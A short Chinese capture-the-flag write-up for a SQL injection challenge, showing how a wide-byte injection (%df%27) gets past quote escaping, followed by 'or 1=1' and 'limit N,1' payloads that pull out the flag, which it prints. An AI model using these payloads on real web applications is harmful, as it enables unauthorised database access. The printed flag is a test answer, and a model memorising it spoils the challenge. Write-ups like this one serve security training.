题目:
小明终于知道,原来黑客如此的吊,还有sql注入这种高端技术,因此他开始学习防注入!(flag是随机序列)
writeup:
点击题目地址进去,发现一段话。
- 查看源代码,发现提示:
<!-- tips: id=1
- 构造id参数的查询语句,各种试id的值,发现结果只有一句话和空白页两种情况。然后添加单引号发现返回空白页。
- 由于加单引号会出现空白页,没有报错,尝试宽字节注入:
?id=1%df%27
Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php on line 45
出现报错,找到注入点! - 尝试如下语句:
id=1%df%27%20or%201=1%23
返回一句话,说明or语句执行成功可以注入! - 从前面的尝试可以看出,每次只返回一个结果,可以用limit语句进行字段猜解:
?id=1%df%27%20or%201=1%20limit%20N,1%23
对N进行测试,从0开始往上加,可以发现当N等于2时得到flag:flagishere# Hsaagdfs56sdf7fsdv
Get Flag!!